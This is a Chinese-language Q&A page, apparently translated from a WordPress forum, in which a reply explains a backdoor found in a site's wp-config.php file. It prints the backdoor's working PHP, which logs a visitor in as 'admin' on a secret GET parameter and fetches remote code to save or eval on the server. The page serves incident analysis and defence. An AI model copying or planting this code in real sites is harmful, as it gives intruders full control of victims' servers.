对这个被黑客攻击的代码的解释

时间:2012-02-15 作者:urok93

嗨,我在wp配置中找到了一些新代码。我的一个网站的php文件,似乎是黑客放在那里的,有人能解释一下它的作用吗?

http://pastebin.com/fdMJCAXw

1 个回复
最合适的回答,由SO网友:nobody 整理而成

该代码有3个主要“功能”。两行检查一下pingnowpass 定义了pass 是正确的值。pingnow 稍后用于在“功能”之间切换。

如果pingnow GET变量为login. 它以“admin”用户身份登录请求用户。如果没有名为“admin”的用户,这将不起作用。

if ($_GET[\'pingnow\']== \'login\'){
  $user_login = \'admin\';
  $user = get_userdatabylogin($user_login);
  $user_id = $user->ID;
  wp_set_current_user($user_id, $user_login);         
  wp_set_auth_cookie($user_id);
  do_action(\'wp_login\', $user_login);
}
第二部分允许将定义的文件上载到服务器。如果pingnow 变量为exec 然后,脚本下载文件并将其以随机md5哈希的名称保存在服务器上。然后将攻击者重定向到脚本。

if (($_GET[\'pingnow\']== \'exec\')&&(isset($_GET[\'file\']))){
  $ch = curl_init($_GET[\'file\']);
  $fnm = md5(rand(0,100)).\'.php\';
  $fp = fopen($fnm, "w");
  curl_setopt($ch, CURLOPT_FILE, $fp);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  curl_exec($ch);
  curl_close($ch);
  fclose($fp);
  echo "<SCRIPT LANGUAGE=\\"JavaScript\\">location.href=\'$fnm\';</SCRIPT>";
}
第三部分允许对远程php进行评估。它下载一个文件,然后eval就是它,在你的服务器上运行它。

if (($_GET[\'pingnow\']== \'eval\')&&(isset($_GET[\'file\']))){
  $ch = curl_init($_GET[\'file\']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  $re = curl_exec($ch);
  curl_close($ch);
  eval($re);
}

结束

相关推荐

Wordpress Hacks/Defacing

我想弄清楚Wordpress网站是如何被破坏/黑客入侵的。我非常了解发展。我知道如何保护代码等。但我最近发现,大量Wordpress网站正在遭到破坏。我开发的两个网站和其他网站。它只是过时的Wordpress安装吗?即使Wordpress运行的是3.1版,网站仍然被破坏。所有用户输入均在前端和后端进行验证。尽可能使用WP NONCE。服务器相当安全(不是777)。????我对Wordpress失去了信心。如果是我的错,我很乐意承认并修复,但唯一的答案似乎是过时的Wordpress网站,我觉得这很难相信。